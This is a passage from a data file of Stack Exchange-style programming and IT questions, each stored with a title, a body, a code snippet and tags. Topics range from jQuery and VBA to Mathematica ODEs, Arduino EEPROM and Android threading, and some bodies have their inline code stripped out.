after the last list item which I would like to remove.\n\nIn my document the table
has more columns but those are not relevant to the problem I think (in case you
wonder why I would use a table at all).\n\n", "\\documentclass[parskip=half]
{scrlttr2}\n\\usepackage[T1]{fontenc}\n\\usepackage[english, ngerman]{babel}\n\\
usepackage{tabularx}\n\\usepackage{enumitem}\n\\setlist{nolistsep}\n\n\\
begin{document}\n\n\\begin{tabularx}{\\textwidth}{X}\n \\begin{itemize} \n \\item
text \n \\end{itemize} \n more text \\\\ \n \\hline\n \\begin{itemize} \n \\item
text \n \\end{itemize} \\\\ \n \\hline\n\\end{tabularx}\n\n\\end{document}\n",
"tables spacing lists"], "3365071": ["Drawbacks to always using live() instead of
bind() for unique dom elements?", "When writing jQuery binding events, I typically
use the ) aliases (, , etc). \nBut, the more I use dynamically generated content,
the more I find its ambiguous as to when won't work, and end up debugging for a
half hour until I try and it works. \nWithin the parameters of ID-selectors (like
'', not or elements ):\nAre there any drawbacks to just always using instead of
for these types of bindings, besides the lack of convenient aliases, since there
can only be one DOM element tied to a particular ID?\n===========\nEDIT:
I'm not asking what the difference between and are; that's been covered. I'm
asking what are the drawbacks of just using live() by default, since the temptation
is to do so in instances where you can't mistakenly overselect (ie, when you're
using a ), and avoid thinking about when is not appropriate. \n", "bind(", "jquery
dom jquery-events jquery-live"], "2413239": ["VBA Macro to compare columns in Excel
and display the differences in a third column", "I'm looking to create a macro
button to compare column A and column B in Excel, with any differences being listed
in column C.\n\nI want all values in A that are not in B to display in C\nI want
all values in B that are not in A to also display in C.\nI want to be able to do
this regardless of what data is put into A or B.\n\n", "", "excel-vba"], "49503":
["TFS 2010 - how to re-add MS Project, Excel, etc", "I installed TFS 2010 (RC) on
my servers then installed VS2008 Team Explorer and SPs on my client. Next, I
installed VS2010 Team Explorer (VS Shell). I've been using it for a few days now
and I've been able to right-click/open in Project with no problem. Today, I am
getting:\n\nUnable to cast COM object of type
'Microsoft.Office.Interop.Outlook.ApplicationClass' to interface type
'Microsoft.Office.Interop.Outlook._Application'. This operation failed because the
QueryInterface call on the COM component for the interface with IID '{00063001-
0000-0000-C000-000000000046}' failed due to the following error: Library not
registered.\n\nTwo questions:\n\nWhy is it trying to talk to Outlook when I
requested Project?\nHow do I fix my machine?\n\nTIA\n", "", "tfs2010 ms-project"],
"411453": ["Java EE - EAR vs separate EJB+WAR", "Whats the difference in deploying
application as ear (with 1 ejb and 1 war module) vs separate modules? Since I want
use Glassfish 3 web profile, but it does not support ear archive. Can I simply use
ejb and war as separate modules? Any other options?\n", "", "java java-ee java-ee-
6"], "4014069": ["How can I show that a given system of differential equations is
stiff?", "I was writing a program to solve a system of equations with Runge-Kutta
method, but it doesn't work well and I decided to check what Mathematica can say
about it. It turns out that I have a stiff system of equations.\nThe question is
how can I show or prove that it is stiff?\nHere is the code that I use:\n\nAnd here
is the error I got:\n\nNDSolve::ndstf: At t == 27.532652604579695`, system appears
to be\n stiff. Methods Automatic, BDF, or StiffnessSwitching may be more\n
appropriate.\n\nUPD: ODE's in TeX\n$\\Bigg\\{\n\\begin{array}{}\n\\dot{C}=\\frac\
n{2 (1 - \\frac{C}{2 \\gamma \\pi}) W_b z - (C-C_0) \\nu}\n{z(R) R}\n \\\\\n\\
dot{R}=\\frac{W_b}{2 \\gamma \\pi}\n\\end{array}$\nWhere:\n$W_b = k_bC_h(1-\\
frac{C}{C_h})^\\frac{4}{3}$\n$z=\\pi R H$\nand $\\gamma$, $\\nu$, $C_0$, $H$,
$k_b$ and $C_h$ are constants.\n", "kb = 10^-4;\nCh = 317;\ngamma = 2350;\nH =
0.2;\nv = 50/3600;\nC0 = 0;\nz[R_] := Pi*R*H;\nWb[C_] := kb*Ch*(1 - C/Ch)^(4/3);\
nf[C_, R_] := (2*z[R]*Wb[C]*(1 - C/(2*Pi*gamma)) - (C - C0)*v)/(z[R]*R);\ng[C_] :=
Wb[C]/(2*Pi*gamma);\ns = First@\n NDSolve[{c'[t] == f[c[t], r[t]], r'[t] ==
g[c[t]], c[0] == 0, \n r[0] == 0.15}, {c, r}, {t, 0, 25900000}, \n
StartingStepSize -> 0.01, Method -> \"ExplicitRungeKutta\"];\
n(*Plot[Evaluate[{c[t],r[t]}/.s],{t,0,25900000},PlotStyle->Automatic]*)\n {c[27.6],
r[ 27.6], c[27.5], r[ 27.5]} /. s\n", "differential-equations numerical-methods
mathematica"], "4225072": ["Publish video from a linux server with2 blackmagic
cards to a fms/wowza server", "I'm trying to publish live streams to a fms, using a
linux server having 2 blackmagic cards installed. Any ideeas, since I didnt find
any proper documentation to it? \n", "", "linux video-streaming live-streaming"],
"1500154": ["Copying array elements to other array with pointers", "Say I have
with 10 objects. I want to create an and add 5 objects from to , and I want it so
that when I change these object properties from , they also change the 5 specific
objects from as well. How would I do this?\nEdit: Ok I think I asked the wrong
question. It's more about passing by reference and pointers, which I confuse too
much:\n\nHow would I change the above code so the changes reflect in both arrays?\
n", "NSMutableArray *array1", "objective-c nsmutablearray"], "5050489": ["Visual
studio process Unable to copy file", "i have a visual studio 2010 , when i run
project normal runs, and when i close window then make some changes and run, they
says \n\"Error 5 Unable to copy file \"obj\\x86\\Debug\\Passport.exe\"
to \"bin\\Debug\\Passport.exe\". The process cannot access the file 'bin\\Debug\\
Passport.exe' because it is being used by another process. Passport\"\nas i see in
Passport.exe still in task manager. why? \n(when i end that process again i can
build project)\nNOTE for my other projects no that problem, only for this.\nMany
thanks who can help :)\n", "", "visual-studio-2010 process copy"], "3934993":
["AngularJS client MVC pattern?", "Until now I was mainly using , , technology
stack for building web applications. The point is, that mentioned stack uses server
side pattern. The main role of web browsers was limited to a request/response
cycle (+ client side validation). Data retrieval, business logic, wiring and
validation were mainly responsibilities of the server side. \nI have few questions
regarding AngularJS framework that were produced by following quotes I read:\n\
nFrom the AngularJS tutorial:\n\nFor Angular apps, we encourage the use of the
Model-View-Controller\n (MVC) design pattern to decouple the code and to separate
concerns.\n\nFrom the Wikipedia Model\u2013view\u2013controller:\n\nModel\
u2013View\u2013Controller (MVC) is an architecture that separates the\n
representation of information from the user's interaction with\n it. The model
consists of application data and business rules,\n and the controller mediates
input, converting it to commands for the\n model or view\n\n\nAngularJS uses
client side pattern. So my question is, whether is it safe that business logic
resides on client side? Can we trust the client? How is validation done (just
client)?\nIf we have, for example, traditional server side MVC application,
business rules would be on server side and the validation would be on the client
and server side (1 request less for validation).\nWhat would be the best way to
write a robust AngularJS application? MVC on client side and some kind of MC
(model, controller) on server side? \nDoes that means, that MODEL and CONTROLLER
are in one way duplicated (client/server)?\nI know my question is somehow weird,
but I think the reason is, that I am somehow acustomed to traditional server side
MVC pattern. I am sure there is someone, that have already done same transition.\
n", "Struts 2", "javascript mvc client-side angularjs server-side"], "609131":
["building a 'two-way' OO dynamic ACL system", "This question came up while
designing a dedicated ACL system for a custom application, but I think it applies
to ACL systems in general, as I haven't found out how to tackle this problem by
looking at some of the mainstream systems, like .\nIn my application, the
permissions are granted dynamically, for example: a user gets view permissions on
an activity because he is a member of the team the activity is linked to. This
builds on the assumption that you always have an (user) that wants to perform an
action (view/edit/etc) on an (one of the objects in my application, eg Activity,
Team, etc). This is sufficient for my targeted use;\n\nMy class contains all the
business rules to grant the permissions, and they're created 'on the fly' (although
sometimes cached for performance reasons);\n\nThis system works fine as-is.\nThe
problem with this approach arises when you want to 'reverse' the ACL rules. For
instance, \"fetch all activities that I'm allowed to edit\". I don't want to put
any logic like in the code that needs the activities, because this is the
responsibility of the class and it should be kept centralized. With the current
implementation, I have no other option that to fetch all activities in the code,
and then assert them one by one. This is of course a very inefficient approach.\nSo
what I'm looking for is some ideas on a good architecture (or a pointer to an
existing ACL implementation or some relevant design patterns) to create an ACL
system that can somehow do both and , ideally with the same set of business
rules.\nThank you all in advance!\n\nI've looked at the implementation, but that
focuses more on general permissions. I also found the following questions here on
SO:\n\nBuilding a generic OO ACL using Doctrine\nHow to organize and manage an
ACL?\n\nBut unfortunately they don't seem to answer the question either.\n",
"Zend_ACL", "php oop design-patterns acl"], "5796001": ["Place entries without a
date at the end of a chronological bibliography", "I'm using BibTeX with the
plainyr style. I'm referencing some websites, but these of course don't have a
date. I would like them to be placed at the end of my bibliography and not at the
start (as is currently the case).\nWhen running BibTeX I get the following
warning:\n\nThis suggests that I might add some key to influence sorting, but I
don't know how this should be done. Adding a year seems wrong to me.\nHere is how
such a site entry looks like in my database:\n\n", "Warning--to sort, need year or
key in siteA\n", "bibliographies"], "5378521": ["abstract static member
initialization", "I want derived classes to have their own loggers, but it looks
like I cannot:\n\nI want a in but not in , so that produces this output:\n\n(the
first line comes from the constructor and the second line from the constructor).
Instead I get a in because there is .\nI cannot make into in , and I do not
want
to init it there either because then the output would be\n\nWhat are my options?\
nThanks!\n", "abstract class C {\n final protected static Logger l;\n C (...) {\n
l.emit(\"C\");\n }\n}\nclass C1 extends C {\n final protected static Logger l =
new Logger(\"C1\");\n C1 (...) {\n super(...);\n l.emit(\"C1\");\n }\n}\n",
"java abstract-class"], "2225882": ["NoSQL as file meta database", "I am trying to
implement a virtual file system structure in front of an object storage
(Openstack). For availability reasons we initially chose Cassandra, however while
designing file system data model, it looked like a tree structure similar to a
relational model. Here is the dilemma for availability and partition tolerance we
need NoSQL, but our data model is relational.\nThe intended file system must be
able to handle filtered search based on date, name etc. as fast as possible. So
what path should i take? Stick to relational with some indexing mechanism backed by
3 rd tools like Apache Solr or dig deeper into NoSQL and find a suitable model and
database satisfying the model?\nP.S: Currently from NoSQL Cassandra or MongoDB are
choices proposed by my colleagues.\n", "", "database database-design nosql file-
systems"], "4408215": ["NullPointerException on spoj/ideone", "I'd created a
program to my homework, i tried it to test on ideone.com, but i get an error:\n\
nfor every test(in elipse workin' fine)\nline 83:\n\nline 82: // only for
informational purpose\n\nline 78:// only for informational purpose\n\n", "Exception
in thread \"main\" java.lang.NullPointerException\n at Main.main(Main.java:83)\
n", "java string split nullpointerexception"], "3254906": ["Can memory
compatibility depend on the selected CPU?", "Up until recently I always thought
memory compatibility was completely dependent on the motherboard and the processor
didn't make a difference when it came to memory compatibility. However, I was
reading that the Sandy Bridge line of Intel Core processors \"support up to DDR3-
1333 memory\". So, my question is what if I use a Sandy Bridge processor with DDR3-
1600 memory? Will the system simply not work, run at DDR3-1333 speeds, or will it
run at DDR3-1600 speeds? \nMore specifically, this is the board, memory and
processor I was looking at:\n\nASUS SABERTOOTH Z77\nIntel Core i3-2105 Sandy Bridge
3.1GHz\nG.SKILL Ripjaws X Series 16GB (4 x 4GB) 240-Pin DDR3 1600 (PC3 12800)\n\
nBoth the processor and the memory are listed on the motherboard's CPU and memory
support list.\n", "", "memory cpu motherboard hardware-combination"], "2417547":
["Setting 32nd bit for Java long type yields -1", "I am using Java's primitive long
data type to store a flag. long has 8 bytes so 64 bit with high order bit
representing the sign bit so we have 63 usable bit as a flag. \nEverything works
until I turn on 32nd bit yields -1. Why is this happening?\nEdit: Basically I am
trying to flag the availability in an hour for first 60 bit (1 bit representing a
minutes in an hour) on long data type. Let's assume start time is 0:0:00.
Everything works if the end time is up to 0:30:00 but fails with 0:31:00 up to 60
minutes, meaning when I attempt to (value & (1 << 31)) for some value initialized
to 0 this will not return 2^31 rather it returns -1.\nEdit: Declaring a mask as 1L
rather than 1 solved the problem. \n", "", "java bitwise"], "914456": ["Cloud
Server: Which MTA (exim/postfix/etc.) on What OS (Linux/FreeBSD)", "My company
wants to migrate the current mail server into a Cloud Server Provider. The Provider
is the IaaS (Infrastructure as a Service) kind, not SaaS (Software as a Service).
That means I have to install the OS + MTA myself.\nI'd really appreciate it if you
can give me a guidance, pro/con analysis, experience, etc. on the following
combinations:\n\nExim on Linux\nPostfix on Linux\nExim on FreeBSD\nPostfix on
FreeBSD\n(other MTA)* on Linux/FreeBSD\n\n*Please do not suggest sendmail and/or
qmail.\nThank you all for your kind assistance.\nPS: When I've made my choice, I'll
change the question title to '[Solved]' and post my choice.\n", "", "linux freebsd
email"], "2728116": ["MapReduce skipping keys?", "I'm running a local, single-
system test using Qizmt of a simple MapReduce operation. At the end of the 'Map'
phase I am calling:\n\nThis is called let's say a million times, and the keys are
1,2,3,4,5,6 etc - each unique (I'm just testing, after all). I've checked that this
is happening as intended. It is. The function is called a million independent times
and the values input are correct.\nTo my surprise, in the 'Reduce' phase only, say,
a hundred or so keys are actually received (that is, the 'Reduce' function is
called only a hundred or so times). These keys seem to picked almost arbitrarily
from the list mapped with a pattern such as the following: 0, 383, 766, 2858, 3241,
5716, etc.\nThe set of keys which make it through to 'Reduce' are consistent. ie. I
will get 0, 383, 766, etc consistently each run of the task. However, if I add a
second system to the cluster, the set of keys which make it through is changed
entirely!\nThe stage between 'Map' and 'Reduce' is a bit of a mystery to me - and
I'm really not sure where to look since my Map function appears to be behaving
exactly as intended (that is, calling 'output' a million times). Does anyone with
more experience of parallel processing have any idea where I should be looking, or
anything that might cause this behaviour?\n", "output.Add(rKey, rValue);\n",
"distributed parallel-processing mapreduce cluster-computing qizmt"], "705280":
["Quantiling values with SQLite and Python (sqlite3 package)", "I have a table with
252 rows with a column ranging in values from 0 - 93 and want to quantile them. I'm
using SQLiite, Python and sqlite3 python package to create and manipulate these
tables.\nWhat would be the best method to quantile values using SQLite and/or
Python? I'd considered using RANK() but this function is not available in SQLite.\
n", "", "python sqlite"], "2818287": ["Outlook account for multiple user
accounts?", "Using Outlook 2007, can I share a single Outlook profile over all the
user accounts accessing one computer ? How about sharing the same outlook
configuration ?\n", "", "windows-7 email microsoft-outlook-2007"], "5077497":
["apt-get update getting 404 on debian lenny", "Here is my \n\nWhen I do:\n\nI'm
getting some good lines, then:\n\n", "/etc/apt/sources.list", "apt debian-lenny"],
"4055382": ["Best practices for updating list template schema files in SharePoint",
"I have a requirement to update the schema files of a list template which modifies
the options available to the fields.\nBut, when I am updating the schema file the
options for the already defined lists is not updated.\nSo, how to update the
options for all the lists defined from this list template.\nThanks in advance!\n",
"", "2007 upgrade best-practices list-definition"], "4950309": ["notation of Path
to files/folders/drives that is shared on a network in windows?", "When some thing
shared on network using windows network share option. Some people use path like
I'm don't know if this is correct way or not. but as far as I remember there is a
dollar sign. Can any one please tell me.\n\nWhat is this notation? \nWhere can I
find more details about this?\nWhat is server/sharing? I don't understand when
people use it. Is it something related to Linux?\n\nEDIT\nI'm a programmer. I guess
this file sharing on network using windows uses client server architecture. I want
to know what is this server on windows called? What protocol does it use? client is
of course our windows explorer.exe? Which service in services.msc is responsible
for this?\n", "\\\\something\\something\\something$", "windows network-shares
samba"], "2200030": ["using fancyBox 2 Responsive Lightbox on wordpress pages",
"I'm new to the javascript world.\nWhere exactly on the Server/FTP do I put the
files that are in the folder? \nAnd what exact code do I put on the wordpress page
that I want the lightbox to be on?\n", "fancybox-download", "wordpress fancybox"],
"840946": ["maths help stuck on these ones 2", "6) A platform which starts fifteen
metres above the ground & goes up & down.\nThe distance = s metres of the platform
above the ground, t = seconds after the ride starts, can be modelled by the
function: $s(t)=15+6sin(\\pi/3)$\na)\n(i) According to this model, find the maximum
height above the ground reached by the platform.\n(ii) Show that the platform
completes 1 cycle in 6secs.\n(iii) How many secs after the ride starts is it 9m
above the ground for the 1st time ?\n(iv) Sketch a graph for $0\u2264 t \
u226460$ secs.\n(v) How high above the ground is it when $t = 52.5$s?\nThey want
the platform to go further up & down, during the first 60 secs of the new platform,
the distance r metres, of the platform above the ground, t seconds after the ride
starts, is modelled by the function $r(t)= 15+ e^{0.04t} sin(\\pi t/3)$ for $0\
u2264 t \u226460$\n(b) \n(i) Explain why the platforms period is still 6secs.\n(ii)
Explain in general terms why it takes longer to reach the max height of
the first ride but will exceed it.\n(iii) How high above the ground is it when $t
= 4.5$s and $t = 52.5$s ?\n(iv) After how many secs <60 does it reach the
biggest height above ground, what is that height ?\n(v) After how many secs <60
does it reach its lowest height above ground, what is that height ?\n(vi) Sketch
a graph of the ride for $0\u2264 t \u226460$ seconds.\nThey changed the platform
according to the model $f(t)=15+e^{0.05t} sin(\\pi t/3)$ for $0<t<60$\n(c) Explain
why this would have been catastrophic. \n", "", "homework trigonometry"],
"2461469": ["Combining JavaScripts files", "I'm using a blogger platform for
blogging. I've many widgets on my blog which refer to JavaScript files on the
different servers, which is affecting
loading performance of my blog. \nCan I combine those files into one in order to
reduce my requests to those servers? Or is there any other way to optimize my
JavaScript code? \n", "", "javascript performance optimization"], "5943803":
["Using the bundled Maven NSIS Plug-in with maven 3.x", "I've got an NSIS script
for generating an installer for my Java app - I'd like to automate this using
Maven. \nRather than using the plugin at Mojo Project,
http://mojo.codehaus.org/nsis-maven-plugin/, is it possible to use the bundled
plugin http://maven.apache.org/maven-1.x/plugins/nsis/ in Maven 3.x or is this just
for Maven 1.x?\nI'm aware of how to use the Mojo Project plugin, thanks to this
question, Automating NSIS script build using maven2 , I just want to make sure I'm
selecting the correct, support plugin for my version of Maven.\n", "", "maven
maven-plugin maven-3 nsis"], "4192675": ["In an ordered field, must 1 be
positive?", "In an ordered field, must the multiplicative identity be positive? Or
must it be defined as such?\n", "", "field-theory"], "1822720": ["Crystal Reports
with SQL-Server -- Using varchar with more than 8000 characters", "Crystal Reports
seems to misinterpret Varchar(max) as String(255).(see answer by codeulike here)\
nIs there any good way to get all of my data over to Crystal correctly? I can't
change the DB driver on Crystal, but I could modify the database. Any solution has
to not break anything (and if there's anything that might break, it probably will
with ~130 stored procedures (many of which have hundreds of lines)).\nRight now, we
have separate views set up, but those use Varchar(8000). I can't increase that
number beyond 8000 (there is a finite limit, but it's about 10 times larger). Same
limit with Char. I thought about Text, but I've been advised away from this
before; my understanding is that it's sort of deprecated.\n", "", "sql-server
crystal-reports varchar"], "5054077": ["How to convert VCD to DVD?", "How do I
convert VCD's to DVD's? I searched Google but most of the guides are really old. I
am using Windows 7.\n", "", "windows-7 conversion dvd vcd"], "4741813": ["Scheme
Processing a function n times", "I'm trying to use the \"beside\" function in
scheme (DrRacket). I'm wondering how I can use recursion to put multiple objects in
a row. (define (row n img). The row would be n images long with each image beside
each other, stacked horizontally. Thank you for your time.\n", "", "recursion
scheme row racket"], "2004990": ["Using PHP to parse a Google Calendar XML - End
date is off by a day", "I am trying to make a webpage and have the next three
events on a Google Calendar show up on the home page. I have been using this PHP
(http://james.cridland.net/code/google-calendar.html) to access my XML feed and
format it into HTML.\nThe problem I'm having is that for some reason a new day
starts at 11am. For example if my Google Calendar has an event from 10am on the
20th of December that lasts an hour, my PHP output will show an event that starts
at 10am on the 20th which ends at 11am on the 21st. Otherwise it is working fine.\
nI have set my time to local (New Zealand) time on my Google Calendar account, and
in PHP using \nThe horrible line that calculates the finish date is \n\nwhere
$dateformat is a string with the date format.\nThe Google Calendar XML gives a
start and finish time of \n\nrespectively, and the PHP is calculating a timeframe
of 10.00am 22 December 2011 to 2.00pm 23 December 2011.\nWhats going on?!?!\n",
"date_default_timezone_set(\"Pacific/Auckland\");", "php xml google-calendar utc"],
"5182499": ["Git Error After Fresh Install", "So I'm trying to run the
createproject.sh script from HTML5 Boilerplate and ran into an error. I saw an
issue documented here that seemed relevant and from what I could tell the best way
to fix it was to upgrade to the latest git. So I grabbed git from google code (git-
1.7.5.4-x86_64-leopard) and ran the installer. Now when I try and run the shell
script I wind up with this error:\n\nI'm running a mac with snow leopard and
filevault enabled (didn't think this mattered but thought I'd mention it). I've
used the uninstall script provided in the dmg to uninstall it and try reinstalling.
I've also tried using the other version of git provided by google code (i386) but
to no avail. Any help would be much appreciated! Thanks.\n", "fatal: Not a git
repository (or any parent up to mount parent /Users)\nStopping at filesystem
boundary (GIT_DISCOVERY_ACROSS_FILESYSTEM not set).\n", "git terminal
html5boilerplate"], "5095666": ["PostgreSQL Alternate Database Location", "I'm
running Ubuntu 10.10 and have a separate partition for my root directory. The
partition wasn't set up with large databases in mind, so I would like to put my
2+GB PostgreSQL database on the /home partition.\nThe first piece of advice I ran
into was the command, but this is apparently for older versions of PostgreSQL.\
nThen I ran into the command, but this doesn't appear to be available on Ubuntu
10.10... for some reason.\nHow should I do this really?\n", "initlocation",
"postgresql ubuntu ubuntu-10.10"], "3522792": ["Windows XP installation problem
with Dell laptop", "AFter the first part of the Windows XP setup on my Dell laptop,
it does not respond to the Enter button (i.e. Press enter to install Windows XP
does not work). The Enter button works well in BIOS but not during set up.\
nSometimes it goes thruogh but after the reboot to continue setup it comes to the
stop screen and does not complete the installation. Sometimes I also hear this
continous beep sound during the beginning of the setup.\nIt can detect the hard
drive but cannot complete set after first setup reboot.\n", "", "windows-xp
installation dell setup"], "3916082": ["Application Loader: \"Cannot proceed with
delivery: an existing transporter instance is currently uploading this package\"",
"I have been unable to overcome this error in Application Loader. I've quit,
restarted, tried different computers - it's like the server is hung up on an op
that I never initiated and it won't time out. Has anyone seen it before and beaten
it?\n", "", "itunes itunesconnect"], "160195": ["Candidate Excel Functions for GPU
acceleration", "I'm currently looking into writing an OpenCL Excel plugin. This
would expose a set of functions that offer calculations to be performed on the GPU
from Excel. As a proof of concept I've written an Array-sum kernel and exposed
this successfully. It works well, having no noticeable latency introduced (the
entire array sum for 5k elements takes about 7ms start to finish).\nMy question is,
what other candidate functions would you think would be useful in this context.
I've got some ideas for Prefix Sum and Mersenne Prime kernels.\nAl \n", "", "excel
opencl gpu-programming"], "5624015": ["Embedding a movieclip using CSS in Flex 3",
"We use \n\nfor embedding a movieclip from an swf file.\nHow can I do the same
using a CSS file (which is loaded at runtime) and use it in my class?\n",
"[Embed(source=\"assets/styles/basic/my_skins.swf\",symbol=\"preloader_3\")]\
nprivate var PreloaderAnim:Class;\n", "css flex flex3 embed movieclip"], "5049999":
["Android: How to cancel/interrupt a synchronous Service call?", "For the
Application object, I call . The callback receives an object, and I hand that to
an .\nThere, I get my service object by calling and call some method using this
service object.\nIt's a synchronous method and I cannot influence the service's
timeout setting (and who knows whether its timeout implementation is reliable). So,
beforehand, I my own timeout handler on a separate thread.\nThe timeout code calls
to unbind the Application from the service and yields a timeout result.\nI haven't
found a way to interrupt the service call if the timeout runs first. The has no
visible effect wrt this. Calling changes nothing, either. The object does not
seem to provide any obvious method which could be of any help.\nWhat I observe is
that the keeps waiting for the service call to return, which can delay the start
of the next significantly with the standard .\nAny experiences? Ideas?\n",
"bindService()", "android android-service request-cancelling"], "2145835": ["Adding
Footer navigation in SharePoint 2010", "I need to have footer navigation menu
similar to the one i have used for top navigation in SharePoint 2010. But the catch
is it should be created with diffrent UI i.e CSS classes may get changed.\nAlso i
have tried copying the SharePoint:aspmenu for top navigation and pasted for footer
too but i could not mofify the font size color etc as top navigation and footer
using same CSS that ways.\nLet me know how should i go forward!\n", "", "2010
navigation"], "5660499": ["MVC3 Html Hidden Size limit?", "Is there a size limit
that the HTML.Hidden can take ?I have the following code, which works when i only
put ViewData[\"key\"]=\"12345\" but when the \"12345 is too much data the htmlfield
is empty.\n\nAnd when I add the ViewData[\"hid\"+param.Parameter.Name] in
javascript function to alert the values, the entire string is there.\nkind regards\
n", " @Html.Hidden(\"hid\" + param.Parameter.Name,
ViewData[\"hid\"+param.Parameter.Name])\n", "asp.net-mvc-3 size hiddenfield"],
"1221070": ["new post-type how do i retain the plugins on my sidebar?", "I created
a new post-type following this technique:
(http://www.wpbeginner.com/wp-tutorials/how-to-use-custom-post-types/) \nAfter
creating a a new post-type some of the feature of the a regular post also
disappeared. I installed a plugin (SEO Pressor) that helps my seo on creating a new
post. That plugin can be seen in the sidebar when you create a new post, Together
with \"Publish\", \"Categories\" etc.. . currently the new post-type only contains
the \"Publish\" and \"Attributes\" block. \nAny idea how I can call those plugin to
my new post-type?\nThanks!\n",
"", "custom-post-types functions"], "5056509": ["Button on tool bar shoud call
location manager method", "I am new to iphone development.I have created a map
application.I have created a tool bar below the mapview.When i click the button on
the tool bar it should display an alert view asking to set the current
location .How can i achieve it.please guide me .Where should i give method for the
button click event.I have created the toolbar in interface builder.Please help me
out.Thanks. \n", "", "iphone geolocation maps toolbar"], "5514293": ["NSTimer not
firing when runloop is blocked", "I am just about finished with my app and beta
testing found a bug in the stopwatch portion...\nThe stopwatch uses an nstimer to
do the counting and has a table for storing laps, but when the lap table is
scrolled the watch stops or pauses and does not make up for the lost time.\nThis
was stalling was eliminated by using:\n\nto calculate the elapsed time.\nbut I am
still using the NSTimer to trigger every 0.1 secs and that means that the scrolling
still stalls the timer even though the elapsed time will be updated correctly in
the end... and comparing this to the Apple stopwatch it makes me wonder if that
stopwatch has a separate thread just for the elapsed time counting. Does anyone
know if that is how it is done?\nNow, using the time since the Epoch is working
well in one sense, but it complicates the matter of starting, stopping, &
restarting the stopwatch\nwhen the watch is stopped the time is stored and used to
calculate an offset for when the watch is restarted, but there seems to be some
latency introduced and the time jumps ahead visibly when the watch is restarted.\
nAny thoughts toward the root cause or a solution would be greatly appreciated.\n",
"startingTime = [[NSDate date] timeIntervalSince1970];\n", "cocoa nsdate nstimer"],
"677641": ["How to make a grid cell uneditable without messing up tabbing", "I'm
using an AdvancedDataGrid in ActionScript 3/Flex 4. The grid has 5 columns: Caller
Intent, Labels, Strategy, Confirmation Mode, and Confirmation Promptlet. All
columns are editable except for Labels. However, if you change the Confirmation
Mode value to NEVER, the next column Confirmation Promptlet becomes uneditable and
is set with the value 'n/a' (this is the desired functionality).\n\nUnfortunately,
the image is not clear. In the second row, I changed the Confirmation Mode value to
NEVER. This is what happens when I start tabbing out of the Confirmation Mode
cell:\n1st Tab: Confirmation Promptlet populated with 'n/a'. I don't see anything
in focus.\n2nd Tab: The 5th tab from the left in the view stack (dark grey) is in
focus.\n3rd Tab: I don't see anything in focus.\n4th Tab: The button with the green
'+' (top left) is in focus.\n5th Tab: The grid itself is in focus.\n6th Tab:
Finally I get to the Caller Intent cell of the next row (when this image was
captured)\nI tried setting tabEnabled=\"false\" and tabFocusEnabled=\"false\" for
the button. I set only tabFocusEnabled=\"false\" for the AdvancedDataGrid. But then
the Tab focus starts moving to the components in the upper right panel and lower
right panel.\nI need to accomplish 2 things:\n1. Have tabbing be contained in the
grid, in the upper right panel, and in the lower right panel. Meaning tabbing
should not cross from one area to another.\n2. Have an uneditable field not mess up
the normal tabbing behaviour.\nThank you.\nBonnie\n", "", "actionscript-3 flex4
advanceddatagrid editable tabbing"], "4749783": ["Is it possible to set up a file
server with just a router", "I'm interested in setting up a file server somewhere
where I don't have access to the internet. \nIs it possible to do this with just an
off the shelf router? \nIf anyone could point me in the right direction of the
correct software or a guide on how to do this that would be greatly appreciated!\
n", "", "networking router file-server"], "5968441": ["Find the name of an Arduino
sketch programmatically?", "I would like to determine the name of the Arduino
sketch running on my Arduino Leonardo. This is so when I provision the Arduino I
can change the file name and have the sketch automatically change a number in the
script.\nIs this possible?\nTo give an idea of why we're doing this, we have to
provision 50 Arduinos and rather than hand-edit a bunch of scripts, I would rather
just change the file name.\nI have no idea how to do what I am looking to do, but
as a show of good faith for onlookers here is the code in which I set the EEPROM on
an Arduino:\n\nThanks in advance for any ideas!\nSara\n", "#include <EEPROM.h>\
n#include \"EEPROMAnything.h\"\n\n// begin EDIT ME\n\nchar
CONFIG_NUMBER[]=\"##\"; // Config Number goes here\n\n// end EDIT ME\n\nchar
IPADDRESS[]=\"XX.XX.XX.XXX\";\nchar APN[]=\"myapn\";\n\nconst int buflen = 32;\n\
nstruct config_t {\n char model[buflen];\n char serial_num[buflen];\n char
ipaddress[buflen];\n char apn[buflen];\n}configuration;\n\nint ee_addr=0;\n\n\
nboolean registrationDone = false;\n\nvoid setup(){\n Serial.begin(115200);\n
Serial.println(F(\"Starting Up\"));\n\n}\n\nvoid loop()\n{\n config_t
configuration;\n strcpy(configuration.model, MODEL);\n
strcpy(configuration.serial_num, SERIAL_NUM);\n strcpy(configuration.ipaddress,
IPADDRESS);\n strcpy(configuration.apn, APN);\n if (!registrationDone){\n
EEPROM_writeAnything(ee_addr,configuration);\n registrationDone = true;\n }\n
EEPROM_readAnything(ee_addr, configuration);\n Serial.println(F(\"Settings\"));\n
Serial.println(String(configuration.model));\n
Serial.println(String(configuration.serial_num));\n
Serial.println(String(configuration.ipaddress));\n
Serial.println(String(configuration.apn));\n delay(5000);\n}\n", "arduino
eeprom"], "3104998": ["Sending an email using sharepoint object model sharepoint
2010", "i have been working on generating email in an event receiver using share
point object model..i used the sputility.sendemail method..2 things are necessary
in the email(email from and HTML body)..so i used the SpUtility method...\n\n)\nbut
this method strips any HTML present in the body..so i looked same method diff
parameters..\n\n)\n\n)\nthe above functions do provide the html body but no 'from'
parameter...how can i have both the 'from' and 'body(HTML support)' parameters..any
suggestions?\n", "public static bool SendEmail(\nSPWeb web,\nStringDictionary
messageHeaders,\nstring messageBody\n", "list sharepoint-enterprise email object-
model event-receivers"], "3201895": ["Android threading and Handler not working",
"I recently refactored an old project and found that a particular portion no longer
wants to run properly no matter what I do. Essentially, I have an Activity with a
TextView. This view is updated at timed intervals from a thread invoked within the
same class. The pause is accomplished with a Thread.sleep and a Handler is used to
trigger the update of the UI. The thing is, now I either get a
CalledFromWrongThreadException saying that I cannot manipulate the View from
another thread, a long pause followed by all the text hitting the View at once, or
it seemingly fires off immediately and doesn't sleep at all. I had previously done
it like so (relevant parts included):\n\nThat's the gist of what I was using
previously, which worked fine. However, I really didn't like the practice of
setting a class variable and then having the Handler grab it later. I modified it
to pass a Message with the .obj field set to a String, which would then be peeled
out and appended to the TextView. This would blow up with the aforementioned
exception. I tried leaving the Handler declaration in place, but moving the logic
within to another method where the Handler would .post(Runnable(){}); with the same
guts, but that would just stall and append it after a significant wait. I'm not
terribly savvy with the inner workings of Handlers and Threads within Java/Android,
so any pointers would be quite welcome.\n", "public class Updated extends Activity
